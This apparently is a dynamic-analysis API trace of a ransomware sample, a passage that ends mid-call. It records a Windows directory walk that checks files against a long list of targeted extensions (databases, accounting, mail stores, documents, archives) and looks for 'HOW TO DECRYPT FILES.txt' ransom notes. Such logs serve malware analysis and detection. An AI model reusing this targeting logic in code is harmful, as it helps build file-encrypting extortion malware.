returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dired13b18a9#\\f1ac7bd217ca2529de3062cbcb5498ad\\System.DirectoryServices.ni.dll" [0119.031] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dired13b18a9#\\f1ac7bd217ca2529de3062cbcb5498ad\\System.DirectoryServices.ni.dll", pszSpec="*.ems") returned 0 [0119.031] lstrlenA (lpString="*.ems") returned 5 [0119.031] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dired13b18a9#\\f1ac7bd217ca2529de3062cbcb5498ad\\System.DirectoryServices.ni.dll", pszSpec="*.db") returned 0 [0119.031] lstrlenA (lpString="*.db") returned 4 [0119.031] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dired13b18a9#\\f1ac7bd217ca2529de3062cbcb5498ad\\System.DirectoryServices.ni.dll", pszSpec="*.dbf") returned 0 [0119.031] lstrlenA (lpString="*.dbf") returned 5 [0119.031] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dired13b18a9#\\f1ac7bd217ca2529de3062cbcb5498ad\\System.DirectoryServices.ni.dll", pszSpec="*.myox") returned 0 [0119.031] lstrlenA (lpString="*.myox") returned 6 [0119.031] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dired13b18a9#\\f1ac7bd217ca2529de3062cbcb5498ad\\System.DirectoryServices.ni.dll", pszSpec="*.myo") returned 0 [0119.031] lstrlenA (lpString="*.myo") returned 5 [0119.031] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dired13b18a9#\\f1ac7bd217ca2529de3062cbcb5498ad\\System.DirectoryServices.ni.dll", pszSpec="*.qbw") returned 0 [0119.031] lstrlenA (lpString="*.qbw") returned 5 [0119.031] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dired13b18a9#\\f1ac7bd217ca2529de3062cbcb5498ad\\System.DirectoryServices.ni.dll", pszSpec="*.qbb") returned 0 [0119.031] lstrlenA (lpString="*.qbb") returned 5 [0119.031] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dired13b18a9#\\f1ac7bd217ca2529de3062cbcb5498ad\\System.DirectoryServices.ni.dll", pszSpec="*.qbm") returned 0 [0119.031] lstrlenA (lpString="*.qbm") returned 5 [0119.031] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dired13b18a9#\\f1ac7bd217ca2529de3062cbcb5498ad\\System.DirectoryServices.ni.dll", pszSpec="*.qbo") returned 0 [0119.031] lstrlenA (lpString="*.qbo") returned 5 [0119.031] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dired13b18a9#\\f1ac7bd217ca2529de3062cbcb5498ad\\System.DirectoryServices.ni.dll", pszSpec="*.qbx") returned 0 [0119.031] lstrlenA (lpString="*.qbx") returned 5 [0119.031] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dired13b18a9#\\f1ac7bd217ca2529de3062cbcb5498ad\\System.DirectoryServices.ni.dll", pszSpec="*.qba") returned 0 [0119.031] lstrlenA (lpString="*.qba") returned 5 [0119.032] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dired13b18a9#\\f1ac7bd217ca2529de3062cbcb5498ad\\System.DirectoryServices.ni.dll", pszSpec="*.qby") returned 0 [0119.032] lstrlenA (lpString="*.qby") returned 5 [0119.032] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dired13b18a9#\\f1ac7bd217ca2529de3062cbcb5498ad\\System.DirectoryServices.ni.dll", pszSpec="*.qbj") returned 0 [0119.032] lstrlenA (lpString="*.qbj") returned 5 [0119.032] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dired13b18a9#\\f1ac7bd217ca2529de3062cbcb5498ad\\System.DirectoryServices.ni.dll", pszSpec="*.ofx") returned 0 [0119.032] lstrlenA (lpString="*.ofx") returned 5 [0119.032] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dired13b18a9#\\f1ac7bd217ca2529de3062cbcb5498ad\\System.DirectoryServices.ni.dll", pszSpec="*.qif") returned 0 [0119.032] lstrlenA (lpString="*.qif") returned 5 [0119.032] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dired13b18a9#\\f1ac7bd217ca2529de3062cbcb5498ad\\System.DirectoryServices.ni.dll", pszSpec="*.mye") returned 0 [0119.032] lstrlenA (lpString="*.mye") returned 5 [0119.032] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dired13b18a9#\\f1ac7bd217ca2529de3062cbcb5498ad\\System.DirectoryServices.ni.dll", pszSpec="*.mbox") returned 0 [0119.032] lstrlenA (lpString="*.mbox") returned 6 [0119.032] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dired13b18a9#\\f1ac7bd217ca2529de3062cbcb5498ad\\System.DirectoryServices.ni.dll", pszSpec="*.eml") returned 0 [0119.032] lstrlenA (lpString="*.eml") returned 5 [0119.032] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dired13b18a9#\\f1ac7bd217ca2529de3062cbcb5498ad\\System.DirectoryServices.ni.dll", pszSpec="*.pst") returned 0 [0119.032] lstrlenA (lpString="*.pst") returned 5 [0119.032] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dired13b18a9#\\f1ac7bd217ca2529de3062cbcb5498ad\\System.DirectoryServices.ni.dll", pszSpec="*.ost") returned 0 [0119.032] lstrlenA (lpString="*.ost") returned 5 [0119.032] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dired13b18a9#\\f1ac7bd217ca2529de3062cbcb5498ad\\System.DirectoryServices.ni.dll", pszSpec="*.idx") returned 0 [0119.032] lstrlenA (lpString="*.idx") returned 5 [0119.032] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dired13b18a9#\\f1ac7bd217ca2529de3062cbcb5498ad\\System.DirectoryServices.ni.dll", pszSpec="*.dbx") returned 0 [0119.032] lstrlenA (lpString="*.dbx") returned 5 [0119.032] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dired13b18a9#\\f1ac7bd217ca2529de3062cbcb5498ad\\System.DirectoryServices.ni.dll", pszSpec="*.sql") returned 0 [0119.032] lstrlenA (lpString="*.sql") returned 5 [0119.033] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dired13b18a9#\\f1ac7bd217ca2529de3062cbcb5498ad\\System.DirectoryServices.ni.dll", pszSpec="*.mdb") returned 0 [0119.033] lstrlenA (lpString="*.mdb") returned 5 [0119.033] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dired13b18a9#\\f1ac7bd217ca2529de3062cbcb5498ad\\System.DirectoryServices.ni.dll", pszSpec="*.fdb") returned 0 [0119.033] lstrlenA (lpString="*.fdb") returned 5 [0119.033] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dired13b18a9#\\f1ac7bd217ca2529de3062cbcb5498ad\\System.DirectoryServices.ni.dll", pszSpec="*.wab") returned 0 [0119.033] lstrlenA (lpString="*.wab") returned 5 [0119.033] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dired13b18a9#\\f1ac7bd217ca2529de3062cbcb5498ad\\System.DirectoryServices.ni.dll", pszSpec="*.dat") returned 0 [0119.033] lstrlenA (lpString="*.dat") returned 5 [0119.033] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dired13b18a9#\\f1ac7bd217ca2529de3062cbcb5498ad\\System.DirectoryServices.ni.dll", pszSpec="*.txt") returned 0 [0119.033] lstrlenA (lpString="*.txt") returned 5 [0119.033] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dired13b18a9#\\f1ac7bd217ca2529de3062cbcb5498ad\\System.DirectoryServices.ni.dll", pszSpec="*.jpeg") returned 0 [0119.033] lstrlenA (lpString="*.jpeg") returned 6 [0119.033] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dired13b18a9#\\f1ac7bd217ca2529de3062cbcb5498ad\\System.DirectoryServices.ni.dll", pszSpec="*.jpg") returned 0 [0119.033] lstrlenA (lpString="*.jpg") returned 5 [0119.033] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dired13b18a9#\\f1ac7bd217ca2529de3062cbcb5498ad\\System.DirectoryServices.ni.dll", pszSpec="*.png") returned 0 [0119.033] lstrlenA (lpString="*.png") returned 5 [0119.033] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dired13b18a9#\\f1ac7bd217ca2529de3062cbcb5498ad\\System.DirectoryServices.ni.dll", pszSpec="*.php") returned 0 [0119.033] lstrlenA (lpString="*.php") returned 5 [0119.033] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dired13b18a9#\\f1ac7bd217ca2529de3062cbcb5498ad\\System.DirectoryServices.ni.dll", pszSpec="*.cs") returned 0 [0119.033] lstrlenA (lpString="*.cs") returned 4 [0119.033] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dired13b18a9#\\f1ac7bd217ca2529de3062cbcb5498ad\\System.DirectoryServices.ni.dll", pszSpec="*.cpp") returned 0 [0119.033] lstrlenA (lpString="*.cpp") returned 5 [0119.033] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dired13b18a9#\\f1ac7bd217ca2529de3062cbcb5498ad\\System.DirectoryServices.ni.dll", pszSpec="*.rar") returned 0 [0119.033] lstrlenA (lpString="*.rar") returned 5 [0119.033] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dired13b18a9#\\f1ac7bd217ca2529de3062cbcb5498ad\\System.DirectoryServices.ni.dll", pszSpec="*.zip") returned 0 [0119.034] lstrlenA (lpString="*.zip") returned 5 [0119.034] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dired13b18a9#\\f1ac7bd217ca2529de3062cbcb5498ad\\System.DirectoryServices.ni.dll", pszSpec="*.html") returned 0 [0119.034] lstrlenA (lpString="*.html") returned 6 [0119.034] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dired13b18a9#\\f1ac7bd217ca2529de3062cbcb5498ad\\System.DirectoryServices.ni.dll", pszSpec="*.htm") returned 0 [0119.034] lstrlenA (lpString="*.htm") returned 5 [0119.034] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dired13b18a9#\\f1ac7bd217ca2529de3062cbcb5498ad\\System.DirectoryServices.ni.dll", pszSpec="*.xlsx") returned 0 [0119.034] lstrlenA (lpString="*.xlsx") returned 6 [0119.034] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dired13b18a9#\\f1ac7bd217ca2529de3062cbcb5498ad\\System.DirectoryServices.ni.dll", pszSpec="*.xls") returned 0 [0119.034] lstrlenA (lpString="*.xls") returned 5 [0119.034] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dired13b18a9#\\f1ac7bd217ca2529de3062cbcb5498ad\\System.DirectoryServices.ni.dll", pszSpec="*.mp4") returned 0 [0119.034] lstrlenA (lpString="*.mp4") returned 5 [0119.034] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dired13b18a9#\\f1ac7bd217ca2529de3062cbcb5498ad\\System.DirectoryServices.ni.dll", pszSpec="*.ppt") returned 0 [0119.034] lstrlenA (lpString="*.ppt") returned 5 [0119.034] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dired13b18a9#\\f1ac7bd217ca2529de3062cbcb5498ad\\System.DirectoryServices.ni.dll", pszSpec="*.pptx") returned 0 [0119.034] lstrlenA (lpString="*.pptx") returned 6 [0119.034] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dired13b18a9#\\f1ac7bd217ca2529de3062cbcb5498ad\\System.DirectoryServices.ni.dll", pszSpec="*.doc") returned 0 [0119.034] lstrlenA (lpString="*.doc") returned 5 [0119.034] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dired13b18a9#\\f1ac7bd217ca2529de3062cbcb5498ad\\System.DirectoryServices.ni.dll", pszSpec="*.dot") returned 0 [0119.034] lstrlenA (lpString="*.dot") returned 5 [0119.034] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dired13b18a9#\\f1ac7bd217ca2529de3062cbcb5498ad\\System.DirectoryServices.ni.dll", pszSpec="*.docx") returned 0 [0119.034] lstrlenA (lpString="*.docx") returned 6 [0119.034] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dired13b18a9#\\f1ac7bd217ca2529de3062cbcb5498ad\\System.DirectoryServices.ni.dll", pszSpec="*.7z") returned 0 [0119.034] lstrlenA (lpString="*.7z") returned 4 [0119.035] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dired13b18a9#\\f1ac7bd217ca2529de3062cbcb5498ad\\System.DirectoryServices.ni.dll", pszSpec="*.tar") returned 0 [0119.035] lstrlenA (lpString="*.tar") returned 5 [0119.035] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dired13b18a9#\\f1ac7bd217ca2529de3062cbcb5498ad\\System.DirectoryServices.ni.dll", pszSpec="*.bz2") returned 0 [0119.035] lstrlenA (lpString="*.bz2") returned 5 [0119.035] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dired13b18a9#\\f1ac7bd217ca2529de3062cbcb5498ad\\System.DirectoryServices.ni.dll", pszSpec="*.gz") returned 0 [0119.035] lstrlenA (lpString="*.gz") returned 4 [0119.035] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dired13b18a9#\\f1ac7bd217ca2529de3062cbcb5498ad\\System.DirectoryServices.ni.dll", pszSpec="*.mkv") returned 0 [0119.035] lstrlenA (lpString="*.mkv") returned 5 [0119.035] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dired13b18a9#\\f1ac7bd217ca2529de3062cbcb5498ad\\System.DirectoryServices.ni.dll", pszSpec="*.eml") returned 0 [0119.035] lstrlenA (lpString="*.eml") returned 5 [0119.035] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dired13b18a9#\\f1ac7bd217ca2529de3062cbcb5498ad\\System.DirectoryServices.ni.dll", pszSpec="*.msg") returned 0 [0119.035] lstrlenA (lpString="*.msg") returned 5 [0119.035] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dired13b18a9#\\f1ac7bd217ca2529de3062cbcb5498ad\\System.DirectoryServices.ni.dll", pszSpec="*.edb") returned 0 [0119.035] lstrlenA (lpString="*.edb") returned 5 [0119.035] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dired13b18a9#\\f1ac7bd217ca2529de3062cbcb5498ad\\System.DirectoryServices.ni.dll", pszSpec="*.accdb") returned 0 [0119.035] lstrlenA (lpString="*.accdb") returned 7 [0119.035] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dired13b18a9#\\f1ac7bd217ca2529de3062cbcb5498ad\\System.DirectoryServices.ni.dll", pszSpec="*.odb") returned 0 [0119.035] lstrlenA (lpString="*.odb") returned 5 [0119.035] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dired13b18a9#\\f1ac7bd217ca2529de3062cbcb5498ad\\System.DirectoryServices.ni.dll", pszSpec="*.java") returned 0 [0119.035] lstrlenA (lpString="*.java") returned 6 [0119.035] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dired13b18a9#\\f1ac7bd217ca2529de3062cbcb5498ad\\System.DirectoryServices.ni.dll", pszSpec="*.asm") returned 0 [0119.036] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78caa070, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x78caa070, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x78caa070, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x2f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.DirectoryServices.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 1 [0119.036] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0119.036] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.DirectoryServices.ni.dll.aux") returned -1 [0119.036] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.DirectoryServices.ni.dll.aux") returned -1 [0119.036] lstrcmpiA (lpString1="", lpString2="System.DirectoryServices.ni.dll.aux") returned -1 [0119.036] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dired13b18a9#\\f1ac7bd217ca2529de3062cbcb5498ad\\System.DirectoryServices.ni.dll") returned="System.DirectoryServices.ni.dll" [0119.036] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dired13b18a9#\\f1ac7bd217ca2529de3062cbcb5498ad\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dired13b18a9#\\f1ac7bd217ca2529de3062cbcb5498ad\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dired13b18a9#\\f1ac7bd217ca2529de3062cbcb5498ad\\" [0119.036] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dired13b18a9#\\f1ac7bd217ca2529de3062cbcb5498ad\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dired13b18a9#\\f1ac7bd217ca2529de3062cbcb5498ad\\") returned="" [0119.036] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dired13b18a9#\\f1ac7bd217ca2529de3062cbcb5498ad\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dired13b18a9#\\f1ac7bd217ca2529de3062cbcb5498ad\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dired13b18a9#\\f1ac7bd217ca2529de3062cbcb5498ad\\HOW TO DECRYPT FILES.txt" [0119.036] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dired13b18a9#\\f1ac7bd217ca2529de3062cbcb5498ad\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.dired13b18a9#\\f1ac7bd217ca2529de3062cbcb5498ad\\how to decrypt files.txt")) returned 0x20 [0119.037] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dired13b18a9#\\f1ac7bd217ca2529de3062cbcb5498ad\\", lpString2="System.DirectoryServices.ni.dll.aux" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dired13b18a9#\\f1ac7bd217ca2529de3062cbcb5498ad\\System.DirectoryServices.ni.dll.aux") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dired13b18a9#\\f1ac7bd217ca2529de3062cbcb5498ad\\System.DirectoryServices.ni.dll.aux" [0119.037] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dired13b18a9#\\f1ac7bd217ca2529de3062cbcb5498ad\\System.DirectoryServices.ni.dll.aux", pszSpec="*.ems") returned 0 [0119.037] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78caa070, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x78caa070, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x78caa070, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x2f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.DirectoryServices.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 0 [0119.037] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0119.037] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78caa070, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x78caa070, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x78caa070, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="f1ac7bd217ca2529de3062cbcb5498ad", cAlternateFileName="F1AC7B~1")) returned 0 [0119.037] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0119.037] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8a96a830, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x8a96a830, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x8a96a830, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Draw0a54d252#", cAlternateFileName="SYSTEM~2.DRA")) returned 1 [0119.037] lstrcmpA (lpString1=".", lpString2="System.Draw0a54d252#") returned -1 [0119.037] lstrcmpA (lpString1="..", lpString2="System.Draw0a54d252#") returned -1 [0119.038] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\*.*") returned="*.*" [0119.038] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\", lpString2="System.Draw0a54d252#" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Draw0a54d252#") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Draw0a54d252#" [0119.038] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Draw0a54d252#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8a96a830, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x8a96a830, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x8a96a830, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0119.047] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0119.047] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8a96a830, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x8a96a830, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x8a96a830, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.047] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0119.047] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0119.047] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8a96a830, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x8a96a830, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x8a96a830, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="bfc69ce2b8f9cf7092acfe50a43c569f", cAlternateFileName="BFC69C~1")) returned 1 [0119.047] lstrcmpA (lpString1=".", lpString2="bfc69ce2b8f9cf7092acfe50a43c569f") returned -1 [0119.047] lstrcmpA (lpString1="..", lpString2="bfc69ce2b8f9cf7092acfe50a43c569f") returned -1 [0119.047] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Draw0a54d252#\\*.*") returned="*.*" [0119.048] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Draw0a54d252#\\", lpString2="bfc69ce2b8f9cf7092acfe50a43c569f" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Draw0a54d252#\\bfc69ce2b8f9cf7092acfe50a43c569f") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Draw0a54d252#\\bfc69ce2b8f9cf7092acfe50a43c569f" [0119.048] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Draw0a54d252#\\bfc69ce2b8f9cf7092acfe50a43c569f\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8a96a830, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x8a96a830, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x8a96a830, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0119.051] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0119.051] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8a96a830, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x8a96a830, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x8a96a830, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.051] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0119.052] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0119.052] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a96a830, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x8a96a830, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x8a96a830, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x47200, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Drawing.Design.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0119.052] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, 